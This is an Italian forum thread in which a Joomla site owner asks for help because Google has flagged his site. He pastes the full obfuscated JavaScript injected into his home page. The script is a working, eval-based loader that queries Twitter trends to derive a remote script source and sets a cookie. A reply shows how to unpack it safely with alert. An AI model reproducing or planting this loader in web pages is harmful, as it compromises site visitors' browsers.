Back to top

Autore Topic: Sito bloccato da Google con strano javascript  (Letto 2273 volte)

Offline tatothejoker

  • Esploratore
  • **
  • Post: 162
    • Mostra profilo
Sito bloccato da Google con strano javascript
« il: 02 Feb 2010, 09:26:01 »
Ciao a tutti, sono un paio di giorni che cerco di risolvere
il blocco al sito www.orchestranike.com che google mi indica come "sito malevolo". Ho cancellato alcune righe di codice che sicuramente creavano problemi, ho guardato via ftp se erano presenti files strani ma niente, ho aggiornato all'ultima versione Joomla ma non ho risolto.
Se guardate la fine della home (se usate Opera riuscite comunque a vederlo perché non lo blocca) c'č un codice javascript che non riesco ad eliminare in nessun modo
e che vi incollo qui.
Codice: [Seleziona]
<script language="javascript">$a="Z63dZ3dZ22tZ253dsZ2574+Z2553Z2574Z2572inZ2567.Z2566roZ256dChaZ2572CodZ2565(Z2528tZ256dp.cZ25Z22;stZ3dZ22Z2573tZ253dZ2522$Z2561Z253dZ2573tZ253bZ2564Z2563sZ2528Z2564aZ252bZ2564bZ252bZ2564Z2563Z252bZ2564Z2564Z252bZ2564Z2565,Z25310Z2529Z253bZ2564wZ2528Z2573tZ2529Z253bsZ2574Z253dZ2524Z2561Z253bZ2522;Z22;czZ3dZ22Z2566uncZ2574iZ256fZ256e cZ257a(czZ2529Z257bretZ2575rZ256eZ2520Z2563a+cZ2562+cZ2563+Z2563d+Z2563e+Z2563zZ253b};Z22;dbZ3dZ22gZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0!Z2520;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vrs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87e~Z257F7Z3c07tfu7Z3c07dxb7Z3c07vyb7Z3c07fyv7Z3c07hucZ22;opZ3dZ22Z2524aZ253dZ2522dw(dcsZ2528cZ2575Z252c14Z2529)Z253bZ2522;Z22;ddZ3dZ22qb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+Z2519~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+Z2519iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050!Z25209M0;0|uddubcK8888dy}uK7iZ22;caZ3dZ22Z2566Z2575nctZ2569on Z2564Z2563s(Z2564s,eZ2573)Z257bdsZ253dunZ2565scZ2561peZ2528Z22;cbZ3dZ22dZ2573);Z2573Z2574Z253dtmZ2570Z253dZ2527Z2527;forZ2528Z2569Z253d0;iZ253cdsZ252eZ256cZ22;deZ3dZ22uqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+Z2519}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;v}zfszZ2526;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;dcZ3dZ227Z3c07fuc7Z3c07wxd7Z3c07u~y7Z3c07ud~7Z3c07|uf7Z3c07dgu79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;08y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fZ22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edZ22;dzZ3dZ22Z2566uncZ2574ionZ2520dZ2577Z2528t)Z257bcaZ253dZ2527Z252564Z25256fcuZ25256denZ25257Z2534Z25252ewrZ252569Z2574Z252565(Z252522Z2527;cZ2565Z253dZ2527Z252522)Z2527;cbZ253dZ2527Z25253csZ252563Z2572ipZ25257Z2534Z2520Z256caZ2525Z2536eZ2567uZ2561Z252567Z25256Z2535Z25253dZ25255cZ252522javZ2561scZ252572Z252569Z2525Z2537Z2530tZ25255Z2563Z252522Z25253eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252fscriptZ25253eZ2527;evaZ256c(uZ256eeZ2573Z2563aZ2570eZ2528t)Z2529Z257d;Z22;ceZ3dZ2268arCZ256fdeZ2541Z2574Z25280Z2529Z255e(Z25270x0Z2530Z2527Z252bes)Z2529Z2529Z253b}}Z22;ccZ3dZ22engZ2574h;iZ252b+)Z257bZ2574Z256dpZ253ddZ2573.sZ256ciZ2563e(iZ252ci+Z2531Z2529;sZ22;Z69fZ20(doZ63uZ6denZ74Z2eZ63oZ6fZ6bie.Z69ndeZ78OZ66(Z27rfZ35f6Z64sZ27)Z3dZ3d-1)Z7bfunctioZ6e cZ61Z6clbZ61ck(Z78)Z7bwZ69ndoZ77Z2etZ77 Z3dZ20Z78;vaZ72 d Z3d Z6eew Z44aZ74e()Z3bdZ2eZ73Z65Z74TimZ65(xZ5bZ22aZ73_oZ66Z22]*Z31000Z29;vZ61r Z68Z20Z3d d.Z67etUZ54CHZ6fuZ72s(Z29;wiZ6edZ6fw.Z68 Z3d h;iZ66 Z28h Z3eZ208)Z7bd.sZ65tUTZ43Z44ateZ28Z64Z2eZ67etZ55TZ43DatZ65(Z29Z20Z2dZ202Z29;}Z65lseZ7bd.Z73etZ55TCZ44Z61tZ65Z28d.gZ65Z74UTZ43DaZ74e(Z29 Z2d 3Z29;Z7dZ77Z69ndZ6fw.Z67Z64 Z3d d;Z76Z61r tZ69meZ20Z3d neZ77 AZ72Z72ay(Z29;vaZ72 shZ69ftZ49Z6edexZ20Z3d Z22Z22;timeZ5bZ22yearZ22]Z20Z3d d.Z67etZ55Z54Z43FZ75lZ6cYZ65Z61r(Z29Z3btZ69Z6de[Z22montZ68Z22] Z3d d.geZ74UTCZ4dontZ68()Z2b1Z3bZ74Z69me[Z22Z64ayZ22] Z3d d.Z67Z65Z74UTZ43DZ61te(Z29Z3biZ66 (dZ2egZ65tUTZ43MZ6fntZ68()+Z31 Z3c 10)Z7bshifZ74InZ64exZ20Z3d timZ65Z5bZ22yearZ22]Z20+Z20Z22-0Z22 + Z28Z64.Z67etUZ54CMoZ6etZ68(Z29+1)Z3bZ7dZ65lZ73eZ7bshiftZ49ndZ65Z78 Z3d tiZ6dZ65[Z22yeaZ72Z22] +Z20Z22-Z22 + (dZ2egeZ74UTCZ4dontZ68()+Z31);}Z69Z66 Z28dZ2egetZ55TCDZ61Z74Z65()Z20Z3c 1Z30Z29Z7bshiZ66tIZ6edeZ78Z20Z3dshiZ66tIZ6edZ65x +Z20Z22Z2d0Z22 + dZ2egetZ55TCDZ61Z74e()Z3b}elZ73eZ7bshiZ66tInZ64Z65x Z3d shZ69ftZ49ndZ65xZ20+ Z22-Z22 Z2b Z64Z2eZ67etZ55TZ43DZ61Z74e(Z29;}dZ6fZ63Z75Z6dZ65nt.Z77riZ74Z65(Z22Z3cscrZ22+Z22ipt lZ61ngZ75Z61geZ3djavZ61sZ63riZ70tZ22+Z22Z20Z73rZ63Z3dZ27htZ74pZ3aZ2fZ2fsearch.tZ77itZ74Z65Z72.cZ6fZ6dZ2ftreZ6eZ64sZ2fdZ61ilyZ2ejsoZ6e?dZ61teZ3dZ22+ shZ69ftIZ6edeZ78+Z22&calZ6cbaZ63Z6bZ3dcaZ6cZ6cbaZ63k2Z27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);} fZ75nZ63tZ69oZ6e Z63Z61llZ62Z61ck2Z28x)Z7bwiZ6edoZ77Z2eZ74w Z3d Z78;sZ63(Z27rfZ35fZ36dZ73Z27,2,7Z29Z3bevZ61l(Z75neZ73capZ65(Z64z+cZ7aZ2bop+Z73t)+Z27Z64w(dZ7a+cZ7a($aZ2bZ73tZ29);Z27);dZ6fcZ75menZ74.wrZ69Z74Z65(Z24a)Z3b}doZ63uZ6denZ74.wZ72iZ74e(Z22Z3cimZ67 srZ63Z3dZ27http:Z2fZ2fseaZ72Z63h.Z74wiZ74terZ2eZ63Z6fmZ2fimagZ65sZ2fseaZ72cZ68Z2frss.pZ6eZ67Z27 widthZ3d1 Z68eiZ67htZ3d1 sZ74yZ6ceZ3dZ27visibiZ6citZ79:hiZ64dZ65nZ27 Z2fZ3e Z3cscrZ22+Z22ipt lanZ67uagZ65Z3djavasZ63riZ70tZ22+Z22 Z73rcZ3dZ27http:Z2fZ2fsearcZ68.Z74witZ74Z65rZ2ecomZ2ftreZ6edsZ2fdailZ79.jZ73oZ6e?Z63aZ6clbaZ63kZ3dcaZ6clbaZ63kZ27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);}elseZ7b$aZ3dZ27Z27};fuZ6ectiZ6fnZ20scZ28Z63nm,Z76Z2cZ65Z64)Z7bZ76ar Z65xZ64Z3dZ6eewZ20Z44Z61Z74e(Z29;Z65xdZ2eZ73etDZ61teZ28eZ78Z64.Z67etDZ61teZ28)+eZ64)Z3bdZ6fcumZ65nZ74Z2ecZ6fokZ69eZ3dcnm+ Z27Z3dZ27 +escZ61pe(Z76)+Z27;exZ70ireZ73Z3dZ27+exd.tZ6fGMZ54SZ74rinZ67()Z3b}Z3b";function z(s){r="";for(i=0;i<s.length;i++){if(s.charAt(i)=="Z"){s1="%"}else{s1=s.charAt(i)}r=r+s1;}return unescape(r);}eval(z($a));</script>

Qualcuno mi potrebbe dare dei consigli su come potrei risolvere?
Grazie in anticipo

mau_develop

  • Visitatore

Offline sensorario

  • Nuovo arrivato
  • *
  • Post: 42
  • Sesso: Maschio
  • Se non sai le cose salle
    • Mostra profilo
Re:Sito bloccato da Google con strano javascript
« Risposta #2 il: 02 Feb 2010, 11:14:12 »
Brutta storia =(

Offline tatothejoker

  • Esploratore
  • **
  • Post: 162
    • Mostra profilo
Re:Sito bloccato da Google con strano javascript
« Risposta #3 il: 02 Feb 2010, 11:19:17 »
occcacchio, provo a far quanto detto e vi aggiorno, grazie 1000 intanto!

mau_develop

  • Visitatore
Re:Sito bloccato da Google con strano javascript
« Risposta #4 il: 02 Feb 2010, 14:33:50 »
Se ti interessa capirne il funzionamento:
http://www.pianetapc.it/articoli.php?id=65

Se ti interessa sapere cosa vuole fare con quel js basta che l'ultimo pezzetto:
eval(z($a));</script>

lo trasformi cosė:
alert(z($a));</script>

In questo modo (senza eval) il codice non si esegue ma si printa in un alert.
Noterai che cosė facendo ti compaiono ulteriori eval che piano piano andranno reversati in questo stesso modo.

Non eseguire il codice cosė com'č perchč č pericoloso.

Vuole fare qualcosa con Twitter, credo grabbare i cookies, ... non sono stato lė a deoffuscarlo tutto...

M.

Offline tatothejoker

  • Esploratore
  • **
  • Post: 162
    • Mostra profilo
Re:Sito bloccato da Google con strano javascript
« Risposta #5 il: 18 Ott 2011, 09:09:47 »
grazie1000 per la spiegazione!

 



Web Design Bolzano Kreatif